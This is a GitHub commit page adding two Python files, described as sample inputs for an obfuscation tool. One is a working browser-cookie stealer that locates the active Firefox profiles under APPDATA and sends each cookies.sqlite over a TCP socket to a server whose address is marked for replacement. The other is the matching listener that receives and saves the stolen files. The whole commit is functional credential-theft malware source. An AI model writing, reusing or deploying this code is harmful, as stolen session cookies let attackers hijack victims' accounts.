Skip to content

Commit

Permalink
added : sample files for obfuscation (server included for stealer)
Browse files Browse the repository at this point in the history
  • Loading branch information
thomas-pommier-epi committed May 4, 2024
1 parent 404b300 commit dcef48f
Show file tree
Hide file tree
Showing 2 changed files with 81 additions and 0 deletions.
36 changes: 36 additions & 0 deletions sample/client/stealer.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
import socket
import os

APPDATA_PATH = os.getenv('APPDATA')
FIREFOX_PROFILE_FOLDER = APPDATA_PATH + r"\Mozilla\Firefox\Profiles"

def send_file(filename, server_address, server_port):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
client_socket.connect((server_address, server_port))

client_socket.send(filename.encode())

with open(filename, 'rb') as f:
while True:
data = f.read(1024)
if not data:
break
if client_socket.send(data) == 0:
print("File send failed...")

print("File {} sent successfully.".format(filename))

def main():
server_address = '127.0.0.1' # TO REPLACE
server_port = 4242

profile_folder = os.listdir(FIREFOX_PROFILE_FOLDER)
for profile in profile_folder:
profile_path = fr"{FIREFOX_PROFILE_FOLDER}\{profile}"
files = os.listdir(profile_path)
if len(files) <= 1:
continue # folder is not active profile
send_file(fr"{profile_path}\cookies.sqlite", server_address, server_port)

if __name__ == "__main__":
main()
45 changes: 45 additions & 0 deletions sample/server/server.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
import socket
import os

def safe_write(raw_filename):
i = 1
while True:
filename = '{}-{:02.0f}.txt'.format(raw_filename, i)
if os.path.isfile(filename):
i += 1
continue
return open(filename, 'wb')

def save_file(connection, filename):
with safe_write(filename) as f:
while True:
data = connection.recv(1024)
if not data:
break
f.write(data)
print("File {} received and saved successfully.".format(filename))

def main():
host = '0.0.0.0' # 0.0.0.0 for any IP
port = 4242

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
server_socket.bind((host, port))
server_socket.listen(1) # listen for one incoming connection

print("Server listening on {}:{}".format(host, port))

while True:
client_socket, addr = server_socket.accept()
print("Connection from:", addr)

save_file(client_socket, f"data_{addr[0]}")

client_socket.close()
except KeyboardInterrupt:
server_socket.close()

if __name__ == "__main__":
main()

0 comments on commit dcef48f

Please sign in to comment.